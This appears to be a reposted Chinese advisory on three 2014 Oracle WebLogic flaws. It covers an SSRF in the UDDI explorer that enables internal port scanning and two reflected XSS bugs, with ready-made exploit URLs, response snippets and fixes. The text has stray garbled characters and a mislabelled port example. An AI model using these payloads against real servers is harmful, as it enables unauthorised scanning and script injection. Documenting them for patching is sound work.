CVE-2014-4210, Server Side Request Forgery in SerachPublicRegistries.jsp 版本10.0.2,10.3.6
Oracle WebLogic web server即可以被外部主機(jī)訪問惨寿，同時也允許訪問內(nèi)部主機(jī)耘纱。比如有一個jsp頁面SearchPublicReqistries.jsp育八，我們可以利用它進(jìn)行攻擊，未經(jīng)授權(quán)通過weblogic server連接任意主機(jī)的任意TCP 端口，可以能冗長的響應(yīng)來推斷在此端口上是否有服務(wù)在監(jiān)聽此端口剪个。
下面是一個沒有服務(wù)監(jiān)聽TCP 23端口的例子：
https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search
響應(yīng)的片斷如下：
weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused
下面是一個有服務(wù)監(jiān)聽TCP 23端口的例子：
https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search
響應(yīng)片斷如下：
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.
可以利用這種功能來發(fā)現(xiàn)主機(jī)或?qū)χ鳈C(jī)進(jìn)行端口掃描。
CVE-2014-4241，Reflected Cross Site Scripting in SetupUDDIExploer.jsp 版本：10.0.2,10.3.6
用戶輸入映射到一個cookie值(有效期為1年青责！)，這個值會以不安全的方式寫入到之后的響應(yīng)里取具，暴露給用戶進(jìn)行跨站腳本攻擊脖隶。
惡意的URL：
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL
響應(yīng)會為cookier變量的privateregistry設(shè)值，并把瀏覽器重定向到SetupUDDIExplorer.jsp頁面暇检。
HTTP/1.1 302 Moved TemporarilyLocation: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jspSet-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMTContent-Length: 331Content-Type: text/html;charset=UTF-8
重定向的請求為：
GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1Host: [vulnerablehost]Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|
http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|
http://uddi.rte.microsoft.com/inquire!Microsoft|
http://services.xmethods.net/glue/inquire/uddi!XMethods|;
privateinquiryurls=<script>alert(2)</script>;
privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener;
consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73;
cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;
那么響應(yīng)的片斷為（響應(yīng)中包含了cookie值：privateinquiryurls）：
<td valign=top width=1%></td><td valign=top width=70%> <p> <h2>Private Registry:</h2> <h3>Search URL: <b><script>alert(1)</script></b></h3> <H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3> </p>
這類URL的例子：
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2</script>&setPrivateRegistryPublish=Set+Publish+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
publicregistryname=test&publicregistryurl=<script>alert(2)</script>&addPublicRegistry=Add+Public+Registry+URL
CVE-2014-4242产阱，Reflected Cross Site Scriping in consolejndi.portal 版本：10.0.2,10.3.6,12.1.1,12.1.2.0.0
控制臺應(yīng)用試圖去管理Weblogic 應(yīng)用服務(wù)器，正常是不被暴露的块仆，它的攻擊目標(biāo)是管理員构蹬。
這一類URL的例子1：
http://[vulnerablehost]:7001/console/consolejndi.portal?
_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=com.bea.console.handles.JndiContextHandle("<script>alert(1)</script>")
響應(yīng)片斷：
<div class="contenttable"><div class="introText"><p>Listing of entries found in context <script>alert(1)</script>:</p></div>
這一類URL2的例子：
http://[vulnerablehost]:7001/console/consolejndi.portal?
_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//
響應(yīng)片斷：
<script type="text/javascript">document.write('<div class="JSTree">');setBaseDirectory('/console/utils/JStree/images/');setTaxonomyDelimeter('.');{_a = new TreeNode('server', null, 'myserver\u0027);
alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');
alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);
修復(fù)建議：
1.如果業(yè)務(wù)不需要UDDI功能，就關(guān)閉這個功能悔据∽玻可以刪除uddiexporer文件夾，可以可在/weblogicPath/server/lib/uddiexplorer.war解壓后蜜暑，注釋掉上面的jsp再打包铐姚。
2.安裝oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
